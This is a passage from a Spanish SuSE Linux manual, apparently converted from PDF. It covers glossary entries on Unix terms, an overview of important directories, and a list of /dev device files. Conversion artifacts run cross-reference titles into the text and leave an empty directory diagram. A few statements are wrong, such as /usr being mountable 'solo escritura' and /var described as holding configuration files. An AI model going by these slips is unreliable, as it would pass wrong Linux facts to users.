símbolo para el directorio de usuario es ` ' (ver apartado 19.6 en la página 472Trabajar con directoriossection.19.6) . Directorio raíz (ingl. root directory) Es el directorio principal de un + Sistema de ficheros. En comparación a los demás directorios de un sistema de ficheros, el directorio raíz no tiene ningún directorio superior. La entrada `..' del directorio raíz apunta hacia sí mismo. Bajo Unix el directorio raíz está representado por el símbolo `/'. Dispositivo (ingl. Device) Bajo Linux se efectúa el acceso a los dispositivos a través de unas entradas especiales en el sistema de ficheros. Estas entradas se encuentran en /dev/ y contienen los números de dispositivo con los que el + Kernel puede acceder a los drivers de los dispositivos. Editor Los editores son programas que permiten modificar los datos intro- duciendo p. ej. texto. Algunos editores conocidos de Unix son GNU Emacs (emacs ) o vi (ver apartado 19.15 en la página 491El editor visection.19.15) . Si aún no conoce ninguno de estos editores, comience primero con joe , ya que éste es compatible con WordStar. ELF (ingl. Executable and Linking Format) ELF es el formato estándar de los binarios en Linux. En comparación al antiguo formato a.out , el nuevo facilita p. ej. generar ''shared libraries''. Para obtener más información consulte el HowTo en /usr/doc/howto/ en/ELF-HOWTO.gz. E-Mail (ingl. electronic mail) Proceso de distribución de mensajes electrónicos entre usuarios dados de 498 _________________________________________________________________________________________________________________B.__Glosario_* *____________________ alta en una red de computadoras. Al igual que en el correo normal con sobre y papel (denominado muchas veces (ingl. snail mail)) es preciso indicar la dirección del destinatario; esto se hace con su dirección de E- Mail. Junto con el texto de los E-Mail se puede mandar también imágenes y sonidos. La ventaja del E-Mail son la rapidez y el bajo coste. Encriptación (ingl. encryption) Encriptar datos significa esconderlos frente a terceros. Se trata de una buena medida cuando los datos se envían a través de conexiones inseguras (p. ej. vía Internet) y terceras personas no los deberían poder leer (p. ej. en caso de transmitir números de tarjetas de crédito, contraseñas o cualquier otra información confidencial). La longitud de la clave que se usa para encriptar determina el nivel de seguridad (existen programas que pueden romper claves demasiado cortas) ; ver capítulo 18 en la página 451Seguri- dad y Confianzachapter.18 ff. En determinados paises existen restricciones en cuanto a la encriptación de datos por lo que es posible que se prohiba el uso de programas como SSH , PGP o accesos a webs mediante SSL o que el uso de estos progra- mas se restrinja a claves cortas. Aunque SuSE ofrezca estos programas en la distribución (de acuerdo con la ley vigente), la responsabilidad de averiguar si se permite su uso en su país recae sobre Usted (el usuario) ~ SuSE no se responsabiliza de ello. Enlace (ingl. link) Un enlace es una entrada en el directorio que apunta a otro fichero por lo que el enlace mismo no contiene datos. Se diferencia entre: o Enlaces simbólicos, que contienen referencias de nombres. No importa si el objeto de destino existe o no, y tampoco importa si se trata de un directorio en lugar de un fichero o que se encuentre en otro sistema de ficheros. o Enlaces ''duros'' (hardlinks), que contienen una referencia a un inode. Un enlace duro tiene que apuntar a un objeto sobre el mismo sistema de ficheros y el destino no puede ser un directorio. Además todos los enlaces duros a un inode son de igual importancia, por lo que los datos de un fichero se mantienen hasta que se borre el último enlace duro. Entorno (ingl. environment) La + Shell proporciona normalmente un entorno que permite al usuario hacer definiciones temporales. Estas definiciones son p. ej. las ramas hacia determinados programas, el nombre de usuario, la rama actual, la apariencia del ''prompt'', etc. Estos datos se almacenen en + Variables de entorno. Normalmente son los ficheros de configuración de la Shell los que se ocupan de definir las variables de entorno. Entorno gráfico de usuario (ingl. graphical user interface, GUI) Las superficies gráficas de usuario pretenden simular el escritorio del usuario (ingl. graphical / electronic desktop). La pantalla que debe operar en modo gráfico representa el escritorio (ingl. desktop) sobre el cual se colocan las + Ventanas. Dentro de las ventanas se ejecutan diferentes procesos. Para usar el entorno gráfico se necesita normalmente un mouse, * * 499 B. Glosario _________________________________________________________________________________________________________________* *_______________________________________@ trackball o algo similar. GUIs conocidos son el + X Window System, Apple Macintosh System 7, Digital Research GEM y MS-Windows . Ethernet Hardware de red de amplia difusión para + LANs con estructura de bus. Originalmente trabajaba con 10 Mbit/s a través de cable coaxial, pero hoy en día se usan también redes con pares de cables trenzados (ingl. twisted pair) con velocidades que alcanzan los 100 Mbit/s y en arquitectura de estrella. EXT2 (ingl. second extended Filesystem) Es el sistema de ficheros estándar de Linux. Se caracteriza por su alto rendimiento, los nombres de ficheros largos, los derechos de acceso y la tolerancia a fallos. Fichero (ingl. file) Bajo Linux cualquier información se intercambia vía ficheros. Estos sir- ven, como en otros sistemas operativos, sobre todo para almacenar datos en medios de almacenamiento. El nombre del fichero debe ser único den- tro del directorio en el cual se encuentra. El + Sistema de ficheros permite estructurar los ficheros en una jerarquía de directorios. Adicionalmente, Linux conoce otros ficheros que tienen un fin especial. Para obtener más información consulte las explicaciones sobre + Enlace, + Device y + Proc. Foco (ingl. focus) Un determinado elemento en la pantalla, p. ej. la línea de entrada de un + Terminal, está en el foco cuando éste recibe las señales del teclado. Normalmente el foco está vinculado a la posición del + Cursor. La forma de gestionarlo se denomina ''política de foco'' ((ingl. focus policy)). Se distingue entre el foco que sigue siempre la posición del mouse y el foco que solo pasa a una determinada ventana cuando ésta es seleccionada. FTP (ingl. file transfer protocol) FTP es para UNIX el método de transferencia de ficheros de una com- putadora a otra. En este proceso están involucrados el servidor FTP (la computadora que proporciona los datos) y el cliente FTP (la computadora que pide los datos). Gestor de ventanas (ingl. window manager) Bajo el + X Window System se necesita un gestor para la manipulación de las + Ventanas, p. ej. para abrir, cerrar o mover las mismas así como para ''iconizarlas''. Normalmente los gestores de ventana incorporan funciones adicionales como barras de herramientas, que contienen iconos para ini- ciar determinadas aplicaciones. GNU GNU significa GNU is Not Unix y es un proyecto de la Free Software Foundation (FSF) . El objeto del ''Proyecto GNU'', que está muy vin- culado a la persona de Richard Stallman (RMS ), es la creación de un sistema operativo ''libre'', compatible con Unix. ''Libre'' no se re- fiere tanto a ''libre de costes'', pero sí a la libertad en cuanto al dere- cho de acceso, modificación y uso de los programas. Para que el códi- 500 _________________________________________________________________________________________________________________B.__Glosario_* *____________________ go fuente (ingl. source) se mantenga libre, cualquier modificación en él también debe serlo. La forma para asegurar esto se manifiesta en el documento http://www.gnu.org/gnu/manifesto.html y se respal- da jurídicamente mediante la licencia ''GPL'' en http://www.gnu.org/ copyleft/gpl.html (ver anexo G en la página 533La licencia pública general GNU (GPL)appendix.G) o la licencia LGPL en http://www. gnu.org/copyleft/lgpl.html. Dentro del ámbito del proyecto GNU todas las utilidades de Unix se desarrollan de nuevo, añadiendo más funcionalidades. Otra parte del proyecto hace el software más complejo como p. ej. Emacs o la librería glibc . El kernel de + Linux, con licencia según la GPL, saca provecho de este proyecto (especialmente por las herramientas), pero no es equivalente al proyecto GNU. Host + Anfitrión. Inode El sistema de ficheros + EXT2 administra la información sobre los ficheros en el disco duro mediante ''inodes''. Los inodes contienen ~ en- tre otras ~ informaciones sobre el propietario de un fichero, los derechos otorgados, la fecha del último cambio, etc. Interfaz (ingl. interface) La interfaz es el sitio a través del cual diferentes sistemas intercambian información. Una interfaz puede ser p. ej. el teclado, ya que es por allí por donde la computadora y el ser humano intercambian información (ingl. Man Machine Interface). Esta formulación es muy abstracta, más concretamente se pueden distinguir las siguientes interfaces: o Interfaz de hardware: A través de ésta se conectan p. ej. periféricos; un ejemplo es el puerto paralelo, el puerto serie o el conector SCSI. o Interfaz de software: Esta interfaz determina el modo en que diferentes programas deben intercomunicarse (ver también + Protocolo). o Interfaz de usuario: Aquí es donde el ser humano y la máquina inter- cambian datos. Ejemplos: el mouse, el monitor y el teclado. Internet Internet es una + Red mundial, compuesta por computadoras de mu- chos tipos. Las computadoras se identifican en Internet mediante sus + Dirección-IP (IP = internet protocol); estas son únicas en el mundo. Las direcciones se clasifican en direcciones nacionales, de dominio y de sub-dominio tal como de computadora. Aparte de la dirección IP numéri- ca existen ''alias'' (p. ej. sol.cosmos.univ), que facilitan a los usuarios memorizar la dirección. Internet no solo funciona gracias al Hardware, sino también a una serie de + Protocolos, p. ej. ftp, http, tcp, etc., que actúan en diferentes niveles lógicos. Los servicios conocidos de Internet son p. ej. + E-Mail o el World Wide WEB (WWW o W3). Algo impor- tante respecto a Internet es la ''Netiquette'' (la etiqueta en Internet), que * * 501 B. Glosario _________________________________________________________________________________________________________________* *_______________________________________@ regula el buen comportamiento, necesario para una correcta convivencia en la red, en una especie de ''código de honor''. ISP (ingl. Internet Service Provider) Proveedor de servicios de Internet. Kernel El kernel es el núcleo; es el ''corazón'' de todo el sistema. Allí es donde se reunen todas las funciones: la gestión de la memoria, el manejo de la tabla de procesos, la administración de la multitarea, de la capacidad de multiusuario, de los sistemas de ficheros y de los accesos a ellos, la gestión de los drivers, etc. Algunas de estas características se pueden realizar en forma de módulos ; ver el capítulo 13 en la página 349El kernelchapter.13 . LAN (ingl. local area network) Es una + Red de área local gestionada por un + Administrador de sistema. Las LANs se conectan normalmente a través de pasarelas (ingl. gateway) a otras redes y forman así una + WAN. Línea de comandos Bajo Unix se puede trabajar mucho con la línea de comandos. Cualquier programa que se inicie desde la línea de comandos de la + Shell puede tener opciones, como p. ej. el comando ls , cuyas opciones permiten mod- ificar la cantidad de información que se indica en pantalla. Linux Núcleo de sistema operativo de alto rendimiento, libre según la licencia + GNU. El nombre Linux es un + Acrónimo formado de ''Linus' uniX'') por el creador Linus Torvalds. Linux originario Durante el proceso de instalación se inicia primero un ''Linux originario''. Este sistema es capaz de trabajar sin disco duro, ya que aún no es posi- ble acceder a él. El kernel usado proviene directamente de disquete de arranque o del CD-ROM. La imagen del directorio ''root'' se carga junto con otros programas (p. ej. YaST ) a un ''RAM-Disk''. Después de la primera entrada al sistema, YaST se inicia y la instalación del Linux verdadero comienza. Lector CD-ROM (ingl. CD-ROM Drive) Hay diferentes tipos de lectores CD-ROM. Los más difundidos son los lectores del tipo + ATAPI, que se conectan a una controladora (E)IDE. Aparte de estos hay también o Lectores CD-ROM tipo SCSI, que se conectan a una controladora SC- SI. o Lectores CD-ROM que se conectan al puerto paralelo. o Lectores CD-ROM especiales, que se conectan a una controladora es- pecial o a una tarjeta de sonido. ¡Solo para los dos últimos hace falta seleccionar drivers especiales! Manual-Page Normalmente la documentación de los sistemas Unix se encuentra en 502 _________________________________________________________________________________________________________________B.__Glosario_* *____________________ forma de ''Manual-Pages'' o ''MAnpages'' (páginas de manual), que se pueden visualizar con el comando man . Respecto al uso de las Manual-Pages, consulte el apartado 19.9 en la página 480Manual- Pagessection.19.9. MBR (ingl. master boot record) Es el primer sector físico (cilindro 0, cabezal 0, sector 0) de un disco duro de la computadora. Cada disco duro lleva un MBR, pero no todas las + BIOS pueden arrancar cualquier sistema operativo desde cualquier disco. Arrancando desde el disco duro, la BIOS carga el contenido del MBR a una dirección fija de la memoria y pasa el control al pequeño programa cargado desde el MBR. Este carga entonces el sistema operativo desde una partición del disco duro o desde un ''bootloader'' más complejo, como p. ej. LILO . Medio de almacenamiento Un término genérico para soportes de datos de tipos muy variados. Medios de almacenamiento típicos son los disquetes, discos duros, cintas, CD-ROMs, discos magneto-ópticos, memorias holográficas, etc. Memoria En cuanto a la memoria, se habla a veces de la memoria de trabajo o de la memoria principal (ingl. main memory). En el caso de Linux se habla de dos tipos diferentes de memoria: o Memoria física: Esta es la memoria que se encuentra en forma de chips tipo RAM en la computadora. Típicamente se usan actualmente 64 MB hasta 256 MB de memoria. El acceso a la memoria + RAM es muy rápido. o Memoria virtual: Gracias al concepto de la memoria virtual, la com- putadora puede entender ciertas zonas marcadas del disco duro como memoria de trabajo (+ Swap). Memoria RAM (ingl. memory) + Memoria. Menú (ingl. menu) La mayoría de las funciones de un programa que se ejecuta en un en- torno gráfico se puede acceder a través de un menú. Los menús presentan (como la carta en un restaurante) los comandos disponibles en listas de- splegables para que el usuario los pueda seleccionar y ejecutar. Los pro- gramas ofrecen generalmente una barra de menús (ingl. menu bar) que contiene sub-menus. Adicionalmente hay menús del tipo ''Popup'', que aparecen sobre el fondo apretando un botón del mouse. MIME ''Multipurpose Internet Mail Extensions'' ~ en principio se planteó para ampliar la posibilidades de E-Mail(p. ej. con sonido o imágenes), pero se puede usar este estándar también en otras ocasiones. Montar (ingl. mount) Es el término usado en Unix para incorporar un sistema de ficheros en * * 503 B. Glosario _________________________________________________________________________________________________________________* *_______________________________________@ el árbol de directorios del sistema. Como + Punto de anclaje sirve nor- malmente un directorio vacío (ver también apartado 19.11.2 en la pági- na 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2) . Mountpoint + Punto de anclaje. Multiprocesador Cuando una computadora incorpora más de una + CPU se habla de un sistema multiprocesador. En relación a Linux se escucha muchas veces la abreviación SMP (Symmetric Multi Processing) que representa una forma especial de trabajar con múltiples procesadores. Multitarea (ingl. multitasking) Los sistemas operativos capaces de ejecutar más de un + Programa si- multáneamente se denominan sistemas operativos de multitarea. Se difer- encia entre dos formas distintas de multitarea: o Multitarea concurrente: El sistema operativo se encarga de distribuir el tiempo de cálculo entre los distintos procesos. Una forma especial es la multitarea ''preemptiva''. o Multitarea cooperativa: Los procesos ''ceden'' su tiempo de cálculo por sí mismos. Se puede notar que la primera opción es mejor, ya que ningún proceso de usuario puede ocupar la CPU completamente. Linux ofrece la posibilidad de trabajar con multitarea preemptiva. Multiusuario El funcionamiento de + Multitarea es el requisito para el trabajo simul- taneo de varios usuarios en una sola computadora. Un sistema operativo que ofrece la posibilidad de trabajar con varios usuarios al mismo instante se denomina sistema operativo multiusuario; Linux es multiusuario. NFS (ingl. network file system) Protocolo para acceder a sistemas de ficheros de computadoras en red. En el servidor se define mediante el fichero de configuración /etc/exports cuáles computadoras tienen acceso a cuál parte del árbol de directorios del servidor. Así el cliente puede montar estos directorios en su árbol de directorios. (ver + Montar). Nivel de ejecución + Runlevel. Opciones Mediante las opciones (en inglés se denominan a veces ''switches'') el usuario puede influir en el comportamiento estándar de programas. En la + línea de comandos se indica el programa a iniciar junto con las op- ciones. PC (ingl. personal computer) Se denomina así a una computadora ''personal'' de tamaño reducido, en comparación a las computadoras gigantes y centralizadas. Desde los años ochenta se entiende bajo este término la computadora pequeña de IBM , 504 _________________________________________________________________________________________________________________B.__Glosario_* *____________________ basada en una CPU del tipo x86/88 de Intel, aunque la primera computa- dora de este estilo era una Apple . Permiso de entrada (ingl. account) El conjunto del nombre de usuario y de la contraseña (ingl. password) for- ma el permiso de entrada. Normalmente es el administrador de sistema quien establece el permiso de entrada al sistema. Según este permiso, el usuario está asignado a un determinado grupo de usuarios con ciertos derechos en la computadora. La configuración del permiso de entrada incluye normalmente la creación de un + Directorio de usuario y la asig- nación de una dirección de + E-Mail. Pipe Pipe se refiere a la conexión directa del canal de salida estándar de un Proceso (+ Programa) al Canal de entrada estándar (+ Salida/entrada estándar) del proceso siguiente. De este modo no hace falta almacenar temporalmente los datos que se pasan al siguiente proceso. En la línea de comandos de la + Shell, los procesos que están conectados por un Pipe se apuntan según el orden de proceso, separando el uno del otro mediante el símbolo Pipe `|' (ASCII 124). Proc filesystem + Sistema de ficheros ''Proc'' Procesador + CPU. Proceso (ingl. process) Un proceso es prácticamente un programa o un fichero ejecutable ''en vivo'' (+ Shell). En lugar de proceso se usa también el término ''tarea'' (ingl. task). Proceso subordinado (ingl. background process) Cuando la + Shell trabaja aparentemente con un solo proceso y no per- mite introducir comandos adicionales, se habla de un proceso que trabaja en ''primer plano''. Aparte de esto existe para la mayoría de las shells la posibilidad de ejecutar procesos en segundo plano como proceso subor- dinado. Para iniciar un proceso en segundo plano, se debe finalizar la línea de comando con la que se inicia el programa con el símbolo `&'. Para que los procesos se puedan llevar a cabo en segundo plano se necesita un sistema operativo con capacidad de + Multitarea. Programa Cualquier serie de instrucciones lógicas que entiende una computadora, se considera como un programa. Estas instrucciones pueden existir en forma de código ejecutable o como instrucciones para un interpretador. En Linux tales ficheros se identifican por el x-bit de los derechos de fichero, lo reconoce el kernel y puede ejecutar así los programas. Prompt + Símbolo de entrada. Protocolo (ingl. protocol) Los protocolos regulan la comunicación de computadoras en + Redes al * * 505 B. Glosario _________________________________________________________________________________________________________________* *_______________________________________@ nivel de software y de hardware, determinando la apariencia de los datos a transferir, los intervalos en los que una computadora tiene permiso de transferir datos, cuál computadora controla una conexión, etc. Algunos protocolos muy conocidos son p. ej. FTP, UDP, TCP, HTTP, etc. Puerto + Interfaz Punto de anclaje El punto de anclaje es el directorio que sirve como referencia para incor- porar una partición o un directorio en el árbol de directorios de Linux. RAM (ingl. Random Access Memory) + Memoria física de capacidad limitada, que se puede acceder en modo de escritura y lectura con una velocidad relativamente alta. Rama (ingl. path) Mediante la rama se indica exactamente la posición de un + Fichero en un + Sistema de ficheros. En Unix, los distintos niveles de directorios se separan con el símbolo `/' (ingl. slash). Hay que distinguir entre dos diferentes tipos de ramas: o Rama relativa: la posición de un fichero o de un directorio se indica con el directorio ''actual'' como punto de referencia. o Rama absoluta: la posición indicada es relativa al + Directorio raíz. Red (ingl. net, network) La red es el conjunto de varias computadoras interconectadas. Hay difer- entes estructuras de redes que se distinguen por la forma en la que se conectan las computadoras. Estas pueden ser: Anillo, estrella, bus, árbol, etc. Algunos estándares muy conocidos son p. ej. Ethernet, Token-Ring o RDSI. En cuanto a los protocolos se usa en los distintos niveles p. ej. TCP, UDP, IPX, etc. Resetear (ingl. reset) Cuando la computadora deja de responder, se encuentra muchas veces en un bucle infinito. La única solución para esto es regresar la computadora a un estado inicial definido. A este proceso se le llama ''resetear'' (ingl. reset). Después de un ''Reset'', la computadora se encuentra en el mismo estado que tiene cuando se acaba de encender. Es preferible resetear la computadora y no apagar y encender, ya que el sencillo ''Reset'' perjudica menos los componentes mecánicos y eléctricos. IMPORTANTE: ¡Al resetear la computadora, todos los datos que se en- cuentran en la + Memoria se pierden! Rlogin (ingl. remote login) Mediante un remote login se puede entrar vía Internet a una computadora en otro lugar tal como si se estuviera sentado al lado de la misma. Si en ambas máquinas corre un + X-Server existe incluso la posibilidad de redirigir aplicaciones del sistema X Window a la pantalla local, definiendo correctamente la variable DISPLAY del entorno remoto. ROM (ingl. Read-only Memory) Memoria de solo-lectura como p. ej. un Compact Disc (CD). 506 _________________________________________________________________________________________________________________B.__Glosario_* *____________________ Root + Administrador de sistema. RPM (rpm ) Desde la versión 5.0 de SuSE Linux el programa RPM (rpm ) (ingl. RPM Package Manager) es el gestor de paquetes por defecto. rpm permite instalar y desinstalar paquetes de software; además se pueden direccionar consultas al banco de datos de RPM. Runlevel Término usual en Unix para definir el nivel de servicio que el sistema ha alcanzado después del arranque o hasta el cual se debe retroceder (p. ej. para mantenimiento). El programa init se encarga del cambio de nivel de servicio. En el fichero de configuración de init hay una serie de servicios asignados a cada nivel de ejecución. El nivel más bajo (Runlevel 1) solo permite usar el sistema con un único usuario, mientras que en el Runlev- el 2 varios usuarios pueden acceder al sistema. Salida/Entrada estándar (ingl. standard input / output) Cada proceso posee 3 canales para leer o escribir datos; estos son el canal de entrada estándar (stdin), el canal de salida estándar (stdout) y el canal estándar de errores (stderr). Estos canales están por defecto direccionados a ciertos dispositivos; en concreto, la entrada estándar hacia el teclado y la salida estándar al igual que el canal de errores, hacia la pantalla. Usando la shell es posible redireccionar los canales. Por ejemplo, se puede redireccionar la entrada estándar de tal modo, que las letras no se lean desde el teclado sino p. ej. desde un fichero. El redireccionamiento se simboliza en la shell anteponiendo los símbolos `<' (Canal de entrada), `>' (Canal de salida) y `2>' (Canal de error). Consultar también + Pipe. Selección La selección es un mecanismo del servidor X. Es posible marcar texto con el mouse (apretar el botón izquierdo del mouse y pasar por encima del texto a seleccionar) y usarlo en otra aplicación, pasando con el cur- sor a otro ventana y apretando allí el botón del medio. Este proceso se denomina Cortar & Pegar (Cut & Paste). Servidor Un servidor es generalmente una computadora muy potente que ofrece datos y servicios a las computadoras clientes a través de una + Red. Aparte de las computadoras que actúan como servidores existen progra- mas que también se denominan servidores, ya que igualmente prestan servicios y se ejecutan continuamente. Un ejemplo para un servidor tipo software es el + X-Server. Shell La Shell representa la interfaz básica hacia el + Sistema operativo (ker- nel). Gracias a la shell se pueden introducir comandos en la línea de co- mandos. Para automatizar ciertas tareas, las shells incorporan un lenguaje propio de programación. Estos programas, denominados ''scripts'', son una especie de ''batch-file'' inteligente. Algunas Shells conocidas son bash , sh y tcsh . * * 507 B. Glosario _________________________________________________________________________________________________________________* *_______________________________________@ Símbolo de entrada (ingl. prompt) El símbolo de entrada en una + Shell marca el sitio en el que se pueden introducir los comandos del + Sistema operativo. Este símbolo puede reflejar p. ej. el nombre de la computadora y del usuario, la hora actual u otras indicaciones. El + Cursor se encuentra por lo general directamente detrás del símbolo de entrada. Cuando el símbolo reaparece después de haberse introducido un comando, el sistema está otra vez en capacidad de recibir nuevos comandos. Sistema de ficheros (ingl. filesystem) El sistema de ficheros es un sistema para ordenar ficheros. Hay muchos sistemas de ficheros cuyas prestaciones difieren bastante. Determinados sistemas de ficheros son obligatorios para un determinado medio de al- macenamiento, por lo que no se puede precisar qué sistemas de ficheros usa Linux. Sistema de ficheros ''Proc'' En comparación a un sistema de ficheros de una unidad de almacenamien- to, el sistema de ficheros /proc no contiene datos estáticos, sino que los genera dinámicamente con informaciones del kernel. Se usa sobre to- do para proporcionar a las utilidades del sistema (p. ej. ps , mount ) datos actuales del kernel o para modificar parámetros del kernel en tiempo de ejecución. Sistema operativo (ingl. operating system) El sistema operativo es un programa que se ejecuta continuamente en segundo plano y forma la base para poder usar la computadora. El sistema operativo se encarga de administrar todos los recursos disponibles de la computadora. En Linux lo llevan a cabo el + Kernel, los módulos del kernel y otras utilidades sin las que el kernel resultaría ''inútil''. En el caso de SuSE Linux se considera que toda la serie a (Linux base system), las herramientas de sistema y los ''daemons'' forman juntos el sistema operativo. Algunos sistemas operativos conocidos son AmigaOS , Linux , MacOS , OS/2 , Unix , Windows NT , etc. Sistema X Window + X Window System SMP (ingl. Symmetric Multi Processing) + Multiprocesador. Swap Es la zona de memoria virtual en el disco duro, que sirve para albergar temporalmente ''páginas'' de memoria RAM (ver + RAM). Para ello se puede usar bajo Linux una partición especial o un fichero. La suma de la memoria física RAM con la memoria disponible de swap, equivale aproximadamente al tamaño máximo de memoria virtual disponible. Tarea + Proceso. Telnet Telnet es el comando y el protocolo para comunicarse con otras computa- doras que se convierten así en anfitriones (ingl. hosts). 508 _________________________________________________________________________________________________________________B.__Glosario_* *____________________ Terminal (ingl. terminal) Es la combinación de monitor y teclado conectada a un sistema mul- tiusuario sin capacidad propia de cálculo. En el caso de estaciones de trabajo se usa el término también para hablar de programas que emulan un terminal real. UMSDOS Sistema de ficheros especial (de Linux) que permite gestionar ficheros dentro de una partición MSDOS normal, con todos las características de Unix (nombres de fichero largos y derechos de ficheros). Es más lento que el sistema de ficheros ''correcto'' EXT2, pero en cambio es útil para hacer demostraciones, ya que no se necesita ninguna partición adicional (cuando ya existe una de MSDOS). UNIX Es un sistema operativo especialmente extendido en estaciones de trabajo. Unix soporta características importantes como p. ej. el uso de computa- doras en red y está compuesto por un núcleo, una + Shell, un kernel y muchas utilidades. Desde el comienzo de los 90 existe una versión libre (freeware) para + PCs bajo el nombre Linux. URL Uniform Resource Locator: Sistema unificado de identificación de recur- sos en la red. Las direcciones se componen del protocolo y de la dirección local del documento dentro del servidor. Las direcciones permiten identi- ficar objetos como WWW, FTP, Gopher, etc. Variable de entorno (ingl. environment variable) Un lugar en el + Entorno total de la + Shell. Cada variable de entorno tiene un nombre único que se indica normalmente en mayúsculas. A estas variables se les asigna valores, p. ej. alguna rama (ingl. path). En el caso de la shell ''bash'' funciona de la siguiente manera: root@tierra:/ > export EDITOR=emacs Para conocer las variables actualmente usadas se puede usar el comando env . Refiriéndose a una variable de entorno dentro de una Shell-script, hay que anteponer el símbolo $ al nombre de la variable. Algunas vari- ables importantes son HOME (contiene la rama del directorio de usuario), SHELL (rama programa de shell) USER (nombre de usuario), PATH (rama de búsqueda para ejecutables), MANPATH (rama de búsqueda de las Man- pages). Ventana (ingl. window) Las ventanas son sectores cuadrados de una pantalla, generalmente dentro de un marco. Este marco proporciona generalmente elementos para mod- ificar la posición y el tamaño de la ventana en la pantalla. Un + X-Server tal como un + Gestor de ventanas deben estar en ejecución para que se pueda trabajar con ventanas bajo Linux. WAN (ingl. wide area network) En comparación a una + LAN se trata de una + Red con gran extensión geográfica. * * 509 B. Glosario _________________________________________________________________________________________________________________* *_______________________________________@ Wildcards Los símbolos `*' y `?' son símbolos genéricos y se denominan ''co- modines'' o en inglés ''wildcards''. El símbolo `?' reemplaza ex- actamente una letra cualquiera, mientras que `*' reemplaza cualquier cantidad de letras como también puede no reemplazar a ninguna. Los comodines se usan en expresiones regulares. Por ejemplo el coman- do ls -l imagen* indica todos los ficheros del directorio actual que comienzan con bild. X-Server Las computadoras que ejecutan un servidor X pueden usar servicios del + Entorno gráfico de usuario + X Window System. Una tarea importante del servidor X es la administración de las pantallas (displays); normalmente cada terminal tiene exactamente un display. El nombre de cada display es- tá determinado por la + Variable de entorno DISPLAY. Esta tiene el sigu- iente formato: :; p. ej. tierra:0 . El conocimiento del nombre correcto del Display es importante para el + Rlogin. X Window System Es una colección de programas, protocolos y rutinas para administrar un + Entorno gráfico de usuario. El sistema X Window (abreviado ''X'') se desarrolló dentro del ámbito del proyecto Athena en el MIT (Mas- sachusetts Institute of Technology). Las grandes ventajas de X frente a los demás sistemas (p. ej. MS Windows o GEM) son la capacidad de tra- bajar en red y la flexibilidad. Esta flexibilidad permite p. ej. que un usuario ejecute programas en otra computadora pero las visualice en su monitor, con la posibilidad de definir libremente el aspecto y el comportamiento de la superficie gráfica. Observación: El sistema de ventanas no se llama ''X-Windows'' sino real y correctamente X Window System. 510 Apéndice C El árbol de directorios C.1 Vista general La siguiente imagen muestra un pequeño extracto del árbol de directorios de un sistema|Linux.| * * | ____________________________________________________________________________________________________________________________* *______________________|||| |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | |||||||| * * | ||||||||____________________________________________________________________________________________________________________* *______________________ | * * 511 C. El árbol de directorios________________________________________________________________________________________________________* *_______________________________________@ C.2 Directorios importantes El árbol de directorios del sistema SuSE Linux está estructurado según el estándar de sistemas de ficheros. Los directorios importantes se describen en la tabla C.1. ________________________________________________________________________________________________________* *________ / el directorio raíz (ingl. root directory), es el comienzo del árbol de directorios /home los directorios (privados) de los usuarios /dev ficheros de dispositivos (ingl. device files) que representan componentes de hardware /etc ficheros importantes de configuración del sis- tema /usr/bin comandos públicos /bin comandos que se necesitan durante el arranque del sistema /usr/sbin comandos reservados para el administrador de sistema (superusuario) /sbin comandos reservados para el administrador de sistema y necesarios durante el arranque del sis- tema /sbin/init.d scripts de arranque /usr/include Ficheros de encabezamiento para el compilador de C /usr/include/g++ Ficheros de encabezamiento para el compilador de C++ /usr/doc diferentes ficheros de documentación /usr/man la ayuda en línea (manual-pages) /usr/src fuentes del software del sistema /usr/src/linux las fuentes del kernel /tmp para ficheros temporales /var/tmp para ficheros temporales grandes /usr contiene todas las aplicaciones y se puede montar en modo de solo escritura /var ficheros de configuración (p. ej. enlazados desde /usr) /var/log ficheros de registro /var/adm administración del sistema /lib librerías compartidas (para programas dinámica- mente enlazados) /proc el sistema de ficheros de los procesos /usr/local ficheros locales, independientes de la distribu- ción SuSE Linux /opt software opcional, paquetes grandes (p. ej. KDE) ________________________________________________________________________________________________________* *________ Tabla C.1: Resumen de los directorios importantes 512 Apéndice D Ficheros importantes El fichero más importante del sistema es el núcleo del sistema operativo que se encuentra desde la versión 6.0 de SuSE Linux en el directorio /boot/ vmlinuz . D.1 Ficheros de dispositivos en el directorio /dev Disqueteras y discos duros:1 ______________________________________________________________________________________________________________________ /dev/fd0 primera disquetera /dev/fd1 segunda disquetera /dev/hda primer disco duro (E)IDE /dev/hda1 - /dev/hda15 las particiones del primer disco duro (E)IDE /dev/sda primer disco duro SCSI /dev/sda1 - /dev/sda15 las particiones del primer disco duro SCSI /dev/sdb segundo disco duro SCSI /dev/sdc tercer disco duro SCSI ______________________________________________________________________________________________________________________ Tabla D.1: Resumen de los ficheros de dispositivo para discos y dis- queteras D.1.1 Lectores CD-ROM ______________________________________________________________________________________________________________________ /dev/cdrom Enlace que apunta al lector CD-ROM usado, o sea, a uno de los ficheros que figuran a continuación (YaST genera el enlace) /dev/aztcd Aztech CDA268-01 CD-ROM ______________________________________________________________________________________________________________________ ________________Tabla_D.2:_Continúa_en_la_página_siguiente_... 1 Aparte de los ficheros de dispositivos existentes se pueden generar otros adicionales. Para mayor información ver la Manpage de mknod . * * 513 D. Ficheros importantes___________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ /dev/cdu535 Sony CDU-535 CD-ROM /dev/cm206cd Philips CM206 /dev/gscd0 Goldstar R420 CD-ROM /dev/hda hasta ATAPI CD-ROM /dev/hdd /dev/lmscd Philips CM 205/250/206/260 CD-ROM /dev/mcd Mitsumi CD-ROM /dev/sbpcd0 hasta CD-ROM conectado a Soundblaster /dev/sbpcd3 /dev/scd0 lectores CD-ROM tipo SCSI /dev/scd1 y siguientes /dev/sonycd Sony CDU 31a CD-ROM /dev/sjcd Sanyo CD-ROM /dev/optcd Optics Storage CD-ROM _______________________________________________________________________________________________________* *_________ Tabla D.2: Resumen sobre los ficheros de dispositivos de lectores CD- ROM D.1.2 Unidades de cinta/Streamer _______________________________________________________________________________________________________* *_________ /dev/rmt0 1. SCSI-Streamer ''rewinding'' (rebobina automática- mente) /dev/nrmt0 1. SCSI-Streamer ''non rewinding'' /dev/ftape Floppy-Streamer ''rewinding'' (rebobina automática- mente) /dev/nftape Floppy-Streamer ''non rewinding'' 